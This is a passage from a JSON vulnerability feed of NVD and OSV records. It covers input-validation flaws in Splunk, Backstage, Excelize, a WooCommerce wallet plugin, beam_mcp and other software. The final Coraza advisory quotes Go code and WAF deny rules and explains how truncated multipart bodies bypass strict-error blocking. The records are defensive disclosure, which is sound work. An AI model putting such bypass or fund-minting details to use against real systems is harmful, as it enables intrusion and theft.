web"},{"url":"https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:31.000Z","addedAt":"2026-10-08T18:42:42.103Z","updatedAt":"2026-10-08T18:42:42.103Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-5gj4-9gm7-2fx2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2"}]},{"id":"728801b6-cdc4-4a2d-8e3f-fdd4a361875b","slug":"cve-2026-88257","externalId":"CVE-2026-88257","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-88257 — Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with a…","description":"Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. BeamMCP.Schema.validate/2 checked type, required, additionalProperties, enum and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (items, minItems, maxItems, minLength, maxLength, pattern, nested required, enum and additionalProperties: false) were advertised by tools/list and never checked at tools/call or prompts/get, and keywords outside the enforced subset (oneOf, anyOf, $ref) were advertised and ignored.\n\nA host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.","cveId":"CVE-2026-88257","cvssScore":5.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://cna.erlef.org/cves/CVE-2026-88257.html","type":"advisory","title":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db"},{"url":"https://github.com/ScriptKittyOS/beam_mcp/commit/083838eb8e17fe5f6fcaf761bdbe203110288b0b","type":"advisory","title":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db"},{"url":"https://github.com/ScriptKittyOS/beam_mcp/commit/289dbdbad641943b29a3b8d1eb36506cc8cec10a","type":"advisory","title":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db"},{"url":"https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-mrg2-4747-fmpw","type":"advisory","title":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db"},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-88257","type":"advisory","title":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T14:17:01.613Z","addedAt":"2026-10-08T14:40:02.984Z","updatedAt":"2026-10-08T23:06:38.140Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88257","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-88257","note":"authoritative record"}]},{"id":"a91200e6-46b9-42dc-a843-07ac54463743","slug":"cve-2026-93509","externalId":"CVE-2026-93509","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-93509 — The Wallet System for WooCommerce WordPress plugin before 2.8.0 does not validate that a wallet transfer amount is positive, and computes the sende…","description":"The Wallet System for WooCommerce WordPress plugin before 2.8.0 does not validate that a wallet transfer amount is positive, and computes the sender's new balance from a stale snapshot taken before crediting the recipient, allowing an authenticated attacker with Subscriber-level access to mint wallet funds for themselves or drain a specific victim's balance into their own account.","cveId":"CVE-2026-93509","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://wpscan.com/vulnerability/a31138af-234e-44c8-bced-9058553a8b81/","type":"advisory","title":"contact@wpscan.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T11:16:47.217Z","addedAt":"2026-10-08T12:39:41.298Z","updatedAt":"2026-10-08T21:05:48.191Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93509","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-93509","note":"authoritative record"}]},{"id":"d2412c24-4832-4002-a5a9-609dcc98ab43","slug":"cve-2023-5649","externalId":"CVE-2023-5649","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2023-5649 — An Improper Input Validation vulnerability for the registered case credentials in Brocade ASCG before v3.0 could allow a local authenticated user t…","description":"An Improper Input Validation vulnerability for the registered case credentials in Brocade ASCG before v3.0 could allow a local authenticated user to provide invalid inputs like special characters leading to a Denial of Service (DoS) when collecting “supportsave” from a Brocade Switch.","cveId":"CVE-2023-5649","cvssScore":6.8,"cvssVector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://support.broadcom.com/external/content/SecurityAdvisories/0/22716","type":"advisory","title":"sirt@brocade.com"}],"epssScore":0.00099,"epssPercentile":0.00781,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T05:17:03.970Z","addedAt":"2026-10-08T06:39:29.465Z","updatedAt":"2026-10-08T21:05:46.267Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5649","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2023-5649","note":"authoritative record"}]},{"id":"052ebc6a-1c0a-4992-9651-e93b3e9a0b73","slug":"cve-2026-76279","externalId":"CVE-2026-76279","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-76279 — In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the run_collect capability could use the col…","description":"In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the run_collect capability could use the collect Search Processing Language (SPL) command to write events to internal indexes outside the index access configured for the role. The vulnerability is possible because Splunk Enterprise does not normalize whitespace in an index name before applying configured index-access restrictions for the role. For more information see collect (https://help.splunk.com/en/splunk-enterprise/search/spl-search-reference/10.4/search-commands/collect), Define roles on the Splunk platform with capabilities (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/define-roles-on-the-splunk-platform-with-capabilities), and How indexing works (https://help.splunk.com/en/splunk-enterprise/administer/manage-indexers-and-indexer-clusters/10.4/indexing-overview/how-indexing-works) in the Splunk documentation.","cveId":"CVE-2026-76279","cvssScore":4.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://advisory.splunk.com/advisories/SVD-2026-1001","type":"advisory","title":"psirt@cisco.com"}],"epssScore":0.00166,"epssPercentile":0.0531,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T21:17:19.180Z","addedAt":"2026-10-07T22:39:36.687Z","updatedAt":"2026-10-08T21:05:44.641Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76279","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-76279","note":"authoritative record"}]},{"id":"1063c74e-0a13-453d-80fb-b5b851aa377c","slug":"cve-2026-76277","externalId":"CVE-2026-76277","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-76277 — In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the edit_user capability could create a nati…","description":"In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the edit_user capability could create a native Splunk username that ends with a period. The vulnerability is possible because username validation does not reject a trailing period before the username is used for a user directory. This can cause distinct native Splunk usernames to share per-user configuration data, and user-management operations can affect the wrong account or fail. For more information see Set up native Splunk authentication (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/use-the-native-splunk-platform-authentication-scheme/set-up-native-splunk-authentication) and Define roles on the Splunk platform with capabilities (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/define-roles-on-the-splunk-platform-with-capabilities) in the Splunk documentation.","cveId":"CVE-2026-76277","cvssScore":4.1,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://advisory.splunk.com/advisories/SVD-2026-1001","type":"advisory","title":"psirt@cisco.com"}],"epssScore":0.00183,"epssPercentile":0.07215,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T21:17:18.900Z","addedAt":"2026-10-07T22:39:36.671Z","updatedAt":"2026-10-08T21:05:44.548Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76277","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-76277","note":"authoritative record"}]},{"id":"6178f337-bd53-464f-b236-cb2e771bb98d","slug":"cve-2026-76273","externalId":"CVE-2026-76273","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-76273 — In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the run_collect capability could use the col…","description":"In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the run_collect capability could use the collect Search Processing Language (SPL) command to add attacker-controlled content to system-level messages on the Splunk platform instance. The vulnerability is possible because the collect command does not validate the index name before processing the value. For more information see collect (https://help.splunk.com/en/splunk-enterprise/search/spl-search-reference/10.4/search-commands/collect), Define roles on the Splunk platform with capabilities (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/define-roles-on-the-splunk-platform-with-capabilities), and System endpoint descriptions (https://help.splunk.com/en/splunk-enterprise/rest-api-reference/10.4/system-endpoints/system-endpoint-descriptions) in the Splunk documentation.","cveId":"CVE-2026-76273","cvssScore":4.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://advisory.splunk.com/advisories/SVD-2026-1001","type":"advisory","title":"psirt@cisco.com"}],"epssScore":0.00166,"epssPercentile":0.05309,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T21:17:18.337Z","addedAt":"2026-10-07T22:39:36.638Z","updatedAt":"2026-10-08T21:05:44.354Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76273","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-76273","note":"authoritative record"}]},{"id":"0cf25662-fb36-4239-ab16-1188b252726d","slug":"cve-2026-107225","externalId":"CVE-2026-107225","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107225 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.8.0 to 2.11.0, GetStyle's fill, border, and font extraction predicates check only upper bounds for attacker-controlled style-table indices. File.GetStyle relies on extractStyleCondFuncs predicates that allow negative FillID, BorderID, and FontID values to reach slice indexing. When a crafted styles.xml supplies a negative fillId, borderId, or fontId and the application reads the style, a negative identifier passes the upper-bound-only predicate and becomes a negative slice index, allowing an attacker to panic while reading cell styling. No fixed version is available as of this review.","cveId":"CVE-2026-107225","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.8.0, < 2.11.1-0.20260731010303-ae2113b410e5"],"cwes":["CWE-20","CWE-129"],"tags":["nvd","status:received","osv","osv:ghsa-5h23-36rv-pm65","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/ae2113b410e51f6a141c396a59eda8c42b91bc22","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2367","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-5h23-36rv-pm65","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-5h23-36rv-pm65","type":"advisory","title":"OSV GHSA-5h23-36rv-pm65"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00249,"epssPercentile":0.14856,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:35.333Z","addedAt":"2026-10-07T20:39:40.446Z","updatedAt":"2026-10-08T21:05:43.774Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107225","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107225","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-5H23-36RV-PM65"}]},{"id":"dca74c16-1e5b-4bce-9a1b-b56093257cc5","slug":"cve-2026-76468","externalId":"CVE-2026-76468","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-76468 — As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco networking engineering team has conducted a comprehensiv…","description":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco networking engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76468 are related to improper input validation that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-20.","cveId":"CVE-2026-76468","cvssScore":8.2,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-meraki-os-drbEX9GH","type":"advisory","title":"psirt@cisco.com"}],"epssScore":0.00228,"epssPercentile":0.12421,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T17:16:59.680Z","addedAt":"2026-10-07T18:39:31.463Z","updatedAt":"2026-10-08T21:05:42.855Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76468","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-76468","note":"authoritative record"}]},{"id":"ace72cab-6dd5-43f4-a8c1-65138be271cb","slug":"cve-2026-76456","externalId":"CVE-2026-76456","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-76456 — As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco NX-OS engineering team has conducted a comprehensive int…","description":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco NX-OS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76456 are related to improper input validation of special elements used in a command issue that are grouped under the Common Weakness Enumeration (CWE) CWE-20.","cveId":"CVE-2026-76456","cvssScore":8.6,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-nxosw1-cWzSbtR","type":"advisory","title":"psirt@cisco.com"}],"epssScore":0.00278,"epssPercentile":0.18581,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T17:16:57.770Z","addedAt":"2026-10-07T18:39:31.399Z","updatedAt":"2026-10-08T21:05:42.663Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76456","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-76456","note":"authoritative record"}]},{"id":"d9867da4-9d1d-47a5-af1e-88882306635c","slug":"cve-2026-107278","externalId":"CVE-2026-107278","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107278 — MISP contains a validation flaw in its object synchronization logic.","description":"MISP contains a validation flaw in its object synchronization logic. When a MISP Object is created without a description, it is stored correctly on the originating instance. However, when that object is replicated to another MISP instance via the sync mechanism, the receiving instance's validation rule rejects the object because the description field is empty. As a result, the receiving instance silently drops the object along with all of its associated attributes, leading to loss of threat-intelligence data.\n\nPreconditions:\n\n- Two or more MISP instances are configured to synchronize objects.\n\n- A user with object-creation privileges creates an object without supplying a description.\n\n- The object is subsequently synced to a peer instance.\n\nImpact:\n\n- Valid objects and their attributes are silently discarded on receiving instances, causing data-integrity loss in the threat-intelligence pipeline.\n\n- The issue is not externally exploitable in a traditional sense but can be triggered by any authorized user who creates objects without descriptions, resulting in unintended data loss across the sync topology.\n\nAffected: <2.5.48.","cveId":"CVE-2026-107278","cvssScore":5.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/MISP/MISP/commit/6b1776f07","type":"advisory","title":"5a6e4751-2f3f-4070-9419-94fb35b644e8"}],"epssScore":0.00251,"epssPercentile":0.15054,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T16:17:47.393Z","addedAt":"2026-10-07T16:39:32.773Z","updatedAt":"2026-10-07T22:39:36.410Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107278","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107278","note":"authoritative record"}]},{"id":"9d302ce2-4a48-43f1-87d0-055ac27688a7","slug":"cve-2026-106563","externalId":"CVE-2026-106563","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-106563 — Backstage is an open framework for building developer portals.","description":"Backstage is an open framework for building developer portals. Prior to 0.21.8, the @backstage/plugin-kubernetes-backend package is affected by improper entity validation in deprecated kubernetes services endpoint. An authenticated user with Kubernetes read permissions could access Kubernetes workload data beyond their intended scope by supplying crafted entity data to the deprecated services endpoint. The exposure is limited to read-only access to Kubernetes object metadata across configured clusters. This issue is fixed in version 0.21.8.","cveId":"CVE-2026-106563","cvssScore":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N","severity":"medium","vendor":"npm","product":"@backstage/plugin-kubernetes-backend","affectedVersions":["pkg:npm/%40backstage/plugin-kubernetes-backend < 0.21.8"],"cwes":["CWE-20","CWE-862"],"tags":["nvd","status:awaiting-analysis","osv","osv:ghsa-r9ph-3637-55px","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/backstage/backstage/commit/2d5d3e77d630455d6d48cfa8f31fd3c126fd6f29","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/releases/tag/v1.54.1","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/security/advisories/GHSA-r9ph-3637-55px","type":"other","title":"OSV web"},{"url":"https://osv.dev/vulnerability/GHSA-r9ph-3637-55px","type":"advisory","title":"OSV GHSA-r9ph-3637-55px"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106563","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/backstage/backstage","type":"vendor","title":"OSV package"}],"epssScore":0.00222,"epssPercentile":0.11768,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T15:17:17.860Z","addedAt":"2026-10-07T16:39:32.467Z","updatedAt":"2026-10-07T18:42:42.637Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106563","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-106563","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-R9PH-3637-55PX"}]},{"id":"20e4daf7-ae93-4586-87ef-7a8c633f28f8","slug":"cve-2026-106491","externalId":"CVE-2026-106491","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-106491 — Backstage is an open framework for building developer portals.","description":"Backstage is an open framework for building developer portals. Prior to 0.6.17, the @backstage/plugin-proxy-backend package is affected by improper input validation in proxy-backend. An authenticated Backstage user could craft a request URL that causes the proxy-backend to forward the request to a path outside the configured base path on the target server. This is limited to target servers already configured as proxy endpoints and requires Backstage authentication by default. This issue is fixed in version 0.6.17.","cveId":"CVE-2026-106491","cvssScore":6.4,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","severity":"medium","vendor":"npm","product":"@backstage/plugin-proxy-backend","affectedVersions":["pkg:npm/%40backstage/plugin-proxy-backend < 0.6.17"],"cwes":["CWE-20","CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis","osv","osv:ghsa-9ghw-48h5-v2w5","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/backstage/backstage/commit/233287d0ce3133e41549bf92a7470c940a41753c","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/releases/tag/v1.54.6","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/security/advisories/GHSA-9ghw-48h5-v2w5","type":"other","title":"OSV web"},{"url":"https://osv.dev/vulnerability/GHSA-9ghw-48h5-v2w5","type":"advisory","title":"OSV GHSA-9ghw-48h5-v2w5"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106491","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/backstage/backstage","type":"vendor","title":"OSV package"}],"epssScore":0.00268,"epssPercentile":0.17407,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-06T21:17:18.073Z","addedAt":"2026-10-06T22:39:33.023Z","updatedAt":"2026-10-07T18:42:43.020Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106491","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-106491","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-9GHW-48H5-V2W5"}]},{"id":"0ac6e382-71c2-4aaa-b79a-dda4366e8ee8","slug":"cve-2026-41508","externalId":"GHSA-r3rm-qphw-hh76","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Truncated multipart body bypasses MULTIPART_STRICT_ERROR (rule 200003) via silent io.ErrUnexpectedEOF handling","description":"## Root Cause\n\nFile: `internal/bodyprocessors/multipart.go` (since commit `3347961b`, PR #1453 *\"feat: ignore unexpected EOF in MIME multipart request body processor\"*, merged 2026-03-06, first shipped in `v3.4.0`).\n\nThe multipart body processor treats `io.ErrUnexpectedEOF` as a benign condition. Three sites are affected; all mishandle the error the same way.\n\n### File branch, filesystem-backed (lines 71–77)\n\n```go\nsz, err := io.Copy(temp, p)\nif err != nil {\n    if !errors.Is(err, io.ErrUnexpectedEOF) {\n        v.MultipartStrictError().(*collections.Single).Set(\"1\")\n        return err\n    }\n    seenUnexpectedEOF = true     // <-- flag never set for UnexpectedEOF\n}\n```\n\n### File branch, TinyGo path (lines 82–88)\n\n```go\nsz, err := io.Copy(io.Discard, p)\nif err != nil {\n    if !errors.Is(err, io.ErrUnexpectedEOF) {\n        v.MultipartStrictError().(*collections.Single).Set(\"1\")\n        return err\n    }\n    seenUnexpectedEOF = true     // <-- same gap\n}\n```\n\n### Field branch (lines 102–113)\n\n```go\ndata, err := io.ReadAll(p)\nif err != nil {\n    if !errors.Is(err, io.ErrUnexpectedEOF) {\n        v.MultipartStrictError().(*collections.Single).Set(\"1\")\n        return err\n    }\n}\n...\nif errors.Is(err, io.ErrUnexpectedEOF) {\n    break                         // <-- exits loop with no flag set\n}\n```\n\nThe function then returns `nil` at line 116 for any body that ended prematurely. Consequences:\n\n1. `MULTIPART_STRICT_ERROR` stays at its initial value `0`.\n2. `REQBODY_ERROR` is not propagated either (since `ProcessRequest` returns `nil`).\n3. Neither of the two canonical defensive rules shipped in `coraza.conf-recommended` fires:\n   ```conf\n   SecRule REQBODY_ERROR \"!@eq 0\" \"id:200002,phase:2,deny,status:400,...\"\n   SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:200003,phase:2,deny,status:400,...\"\n   ```\n\nAll other error branches in the same function (lines 27, 48, 66, 84, 104) correctly set `MULTIPART_STRICT_ERROR` before returning; this is an inconsistency introduced in #1453, not a systemic issue.\n\n## Context — why the error is swallowed\n\nPR #1453 was introduced to support `SecRequestBodyLimitAction ProcessPartial`: when a body is cut off because it hit the configured request-body limit, the parser should still surface the parts it did receive. The PR legitimately needs to avoid `return err` on `ErrUnexpectedEOF`. But it also silenced the strict-error flag, which is the wrong compromise — the flag is exactly how operators observe that something was incomplete. The fix 